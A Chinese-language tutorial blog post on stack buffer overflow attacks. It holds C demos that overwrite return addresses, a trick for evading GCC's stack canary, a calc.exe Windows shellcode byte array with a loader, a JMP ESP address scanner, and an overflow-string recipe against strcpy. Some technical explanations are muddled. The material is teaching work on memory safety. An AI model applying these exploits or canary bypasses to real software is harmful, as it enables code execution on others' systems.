栈溢出攻击

                                                              《目录》

栈的初始大小及修改

栈溢出攻击原理

ShellCode

动态搜索指令地址

栈溢出攻击实例

Metasploit自动化

栈溢出漏洞案例:冲击波蠕虫

换算公式

 判断栈的增长方向

ShellCode 存放的三种方式


栈,是一种数据结构(后进先出)。

程序的运行都需要用到栈,图中的 FP 是栈帧,通过栈帧的指引可以实现函数的多级调用。

  • 栈帧在 ARM 处理器中分别是:SP、FP寄存器;
  • 在 x86 处理器中分别是 esp(栈顶指针) 、ebp(栈底指针);


栈的初始大小及修改

我们知道,栈的空间是有限的。

  • 在 VC/VS 下,默认是 1M;
  • 在 C-Free 下,默认是 2M;
  • 在 Linux GCC 下,默认是 8M;

如果程序使用的栈内存超出最大值,就会发生栈溢出(Stack Overflow)错误 或者是 段(Segmentation fault)错误。

栈的大小是多少,我们是可以设置的。

实验环境:手机编译器 C4droid (Linux GCC编译器 和 在Linux上运行GCC差不多)、C 语言。

  • 查看栈大小:-ulimit -s

默认大小是 8.192 M 左右,文章末尾有换算公式。

算成 8.2 M 为例,可以开 205,0000 个 int 型数组,换算过程见文末。

正常运行:

#include<stdio.h>

int main( )
{
    int arr[2050000] = {0};  
	// 如果不赋值就是声明变量不会占内存,如 int arr[2050000]。
}

开到 2100000 时,程序发生错误。

#include<stdio.h>

int main( )
{
    int arr[2100000] = {0};  
}

  • 修改栈大小:ulimit -s 102400 

102400 = 1024 * 100,就是开 100 M,第一次就看一下成不成,不成再加......


栈溢出攻击原理

栈溢出攻击:栈上的某个数据过大,覆盖了其他的数据。

在程序中,下一个调用哪个函数取决于当前函数的栈帧。

如果我们修改了栈帧,就可以把我们的构造的恶意代码放到当前函数的栈帧。

因为 C 语言对边界检查很宽松,因此修改栈帧很容易!!!

构造恶意代码,如常见死循环:

// 病毒代码
void shellcode( void )
{
	while( 1 )
	    puts("virus run success !");
}

用户编写的程序: 

#include<stdio.h>

void target( void )
{
    int  a[ 4 ]; 

    // 核心代码
    a[ 6 ] = shellcode; 
    // 也可能是 a[5]、a[7]、a[8] ... , 一般和数组长度(4)差 3 个字节左右
    // shellcode 是我们构造的函数名,函数名就是地址 
    // 把文件编译为可执行文件(a.out)后,输入:readelf -s a.out | grep shellcode
  
    puts("target");
}

int main(void)
{
    target( );
    puts("main\n");
    return 0;
}

运行起来,效果是这样:

死循环,这样就执行了恶意代码。

但其实我用的编译器是 TCC,TCC 是 C语言标准的完全体现。

C 语言是怎么设置,TCC 就怎么实现;而 GCC 对于 C 语言很多危险的地方都有防护措施,如数组越界的防御机制。

GCC 的防御机制,是在数组末添加一个随机数。

靠这个随机数判断数组是否越界,如 int a[4]。

数组是从 0 开始,值被存储在 a[0]、a[1]、a[2]、a[3] 中,a[4] 这个位置被设置为随机数。

a[4] 这个数组被定义的时候,会是这样子:

a[0]a[1]a[2]a[3]随机数

程序运行时,GCC 会看随机数是否改变来判断数组是否越界。

破解方法,也很简单。

提前申请一个变量用来保存 a[4] 这个随机数,运行恶意代码后,再把 a[4] 赋值回来。

// 绕过 GCC 随机数防御机制
void TarGet( void )
{
	int  a[ 4 ];
	int rand = a[4];        // 定义一个变量保存随机值
	a[ 6 ] = shellcode;
	
	printf("TarGet\n");
	a[4] = rand;              // 再赋值回去,不要怕,正大光明的过去。
}

运行一下,恶意代码就执行啦,好不好玩。

或者 关掉 GCC 的栈保护机制:

  • gcc -fno-stack-protector 文件名,-fno-stack-protector 就是关掉栈保护机制。

以上,是栈溢出原理分析,通过数组溢出导致覆盖了函数返回地址。


ShellCode

实际上,我们不可能通过修改程序达到修改栈帧,不过,原理都是获取栈帧的地址后改写!

栈溢出:通过对局部变量区的溢出,来覆盖返回地址,把返回地址改成 shellcode 的地址。

于是,当函数退出时,变成了执行 shellcode。

比如,打开计算器。

// system("calc.exe") 打开计算器

char shellcode[] = 
"\x88\xE5"              // mov esp, ebp
"\x55"                  // push ebp
"\x88\xEC"              // mov ebp, esp
"\x33\xFF"              // xor edi, edi
"\x57"                  // push edi
"\x83\xEC\x08"          // sub esp, 08h
"\xC6\x45\xF4\x6D"      // move byte ptr [ebp-0ch], 'm'
"\xC6\x45\xF5\x73"      // 's'
"\xC6\x45\xF6\x76"      // 'v'
"\xC6\x45\xF7\x63"      // 'c'
"\xC6\x45\xF8\x72"      // 'r'
"\xC6\x45\xF9\x74"      // 't'
"\xC6\x45\xFA\x2E"      // '.'
"\xC6\x45\xFB\x64"      // 'd'
"\xC6\x45\xFC\x6C"      // 'l'
"\xC6\x45\xFD\x6C"      // 'l'
"\x8D\x45\xF4"          // lea eax, [ebp-0ch]
"\x50"                  // push eax
"\xB8\x7B\x1D\x80\x7C"  // mov eax, 7C801D7Bh
"\xFF\xD0"              // call eax
"\x33\xDB"              // xor ebx, ebx
"\x53"                  // push ebx
"\x68\x2E\x65\x78\x65"  // push 'exe.'
"\x68\x63\x61\x6C\x63"  // push 'clac'
"\x88\xC4"              // mov eax, esp
"\x50"                  // push eax
"\xB8\xC7\x93\xBF\x77"  // mov eax, 77BF93C7h
"\xFF\xD0"              // call eax 
"\xB8\xFA\xCA\x81\x7C"  // mov eax, 7c81cafah
"\xFF\xD0";             // call eax

我们调用函数system,不是根据名字调用,而是地址,地址在 xx.dll 库中。

我们可以用 C 语言写出功能(弹计算器),反编译看汇编代码,提取机器码,组装成shellcode。    

测试代码:

#include <stdio.h>
#include <windows.h>
int main(void)
{
	char shellcode[] = "...";
	((void(*)(void))&shellcode)();
}

能不能运行成功,主要是函数地址对不对(不同系统地址不同)。


动态搜索指令地址

如何找到一条汇编指令在内存中的地址呢?如 JMP ESP。

首先,我们得百度一下这条指令的机器码,如 JMP ESP 的机器码是 e4ff。

其次,我们选择一个常驻内存的 dll(系统一启动,就存在内存中),如 user32.dll。

#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"

int main( ){
    BYTE *ptr = NULL;
    int address;
    BOOL done = false;
    HINSTANCE handle = LoadLibrary(DLL_NAME);
    
    if( !handle ) { puts("没有这个 dll"); return -1; }
    ptr = (BYTE* )handle;

    for( int i = 0; !done; i ++) {  // 暴力搜索当前空间
        try {
            if( ptr[i] == 0xFF && ptr[i+1] == 0xE4 ) {  // jmp exp 地址是 0xffe4
                address = (int)ptr + i;
                printf("找到这个 dll:0x%x\n", address);
            }
        } catch(...) {
            address = (int)ptr + i;
            printf("找到这个 dll:0x%x\n", address);
            done = true;
        }
    }
    return 0;
}


栈溢出攻击实例

栈溢出一般是结合 C 的某些库函数攻击程序,如 strcpy()、gets() 等。

  • strcpy() 是拷贝函数,结束标志是 '\0';
  • gets() 是输入函数,结束标志是 回车符;

精心构造输入数据,覆盖 '\0' 修改栈帧;GCC 编译器绕过防御机制同上。

实验环境:kali (linux GCC)、C语言。

  •    vi  stack_overflow.c

  •    gcc stack_overflow.c

   因为使用 gets() 会警告一下。

  •    ./a.out

   输入密码,我们知道密码是 1234,除非我们能修改栈帧否则输入的密码都是错误的。

    看这个程序就知道, gets( ) 出现的地方是可以进行栈溢出攻击来修改栈帧的。

    破解还需要一些汇编语言的基础,gets( ) 与 strcpy( ) 类似。

    ······

    构造攻击字符串:任意字符串(弹药) + JMP ESP(搜索功能,类似GPS)+ shellcode(弹头)

void print(char *buf) {
    char msg[256];
    strcpy(msg, buf);
    cout<<msg;
}

   

    按照栈空间所示,我们需要精心构造字符串(32位系统需要 259 个字符、64位系统需要263 个字符),让msg恰好把 ret 返回地址 覆盖成指令 JMP ESP(并不覆盖成 shellcode,因为 shellcode 地址是不能确定的,每次运行地址都会改变,所以改成一个能动态搜索 shellcode 地址的指令)。

     JMP ESP 就会从 ret 返回地址 下面的地址开始执行(buf)。

      所以,shellcode 也存放在 ret 返回地址 的下面。

      构造攻击字符串:任意字符串(弹药) + JMP ESP(搜索功能,类似GPS)+ shellcode(弹头)

      构造攻击字符串:259个a + JMP ESP(动态搜索shellcode地址) + shellcode(启动,弹出计算器)

      比如,打开QQ,别人发消息过来,莫名其妙的打开了计算器,这个就是底层原理。

      如果我们看到一个函数,存在栈溢出,那我们就画出内存分布图,计算一下构造多少字符串可以覆盖返回地址。

补充资料:

    《栈溢出的利用

    《0day安全,软件漏洞分析技术

    溢出漏洞的根本原因,当前计算机体系(存储过程)未对数据和代码明确区分。

    我们一定要对函数进行边界判断(严进),像 C 库里面的函数如 scanf、get、strcpy 是没有进行边界判断的,什么输入数据就可以接受,这很不安全。


Metasploit自动化


栈溢出漏洞案例:冲击波蠕虫

  • 漏洞:冲击波蠕虫(疾风病毒)
  • 编号:MS03-26

是一个接口引发的:

hr = CoGetInstanceFromFile( pServerInfo, NULL, 0, CLSCTX_REMOTE_SERVER, STGM_READWR,

    L"C://1234561111111111111111111111111.doc", // 丢五个参数

    1, &qi)  

// 问题就出在第五个参数,引起了溢出,当这个文件名过长时,会导致客户端当本地溢出(里面的 GetPathForServer() 只给了 20 个字节的空间,但是用的是 Istrcpyw() 拷贝)


换算公式


 判断栈的增长方向

#include <stdio.h>
#define ADDRESS_FUNCTION(arg) &(arg)
static int stack_dir;  // 判断栈的状态,或下、或上。

void find_stack_direction( void )
{
   static char *addr = NULL;     
   char dummy;              

   if (addr == NULL)
    {                           
      addr = ADDRESS_FUNCTION(dummy);
       find_stack_direction( );  
    }else{
      if (ADDRESS_FUNCTION (dummy)  > addr)
        stack_dir = 1;          
       else
        stack_dir = 0;         
     }
}

int main( )
{
	find_stack_direction( );
	printf("栈的增长方向 : %s\n", stack_dir ? "Stack grew upward" : "Stack grew downward");
	return 0;
}

也可以开一个数组,通过对比整个数组的地址,若是 a[ i ] > a[ i + 1 ]  栈的增长方向是向下,反之向上。


ShellCode 存放的三种方式

第一种:每次执行程序,shellcode地址都会变,需要动态搜索

第二种:会破坏上层栈的数据

第三种:不会破坏栈第数据 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值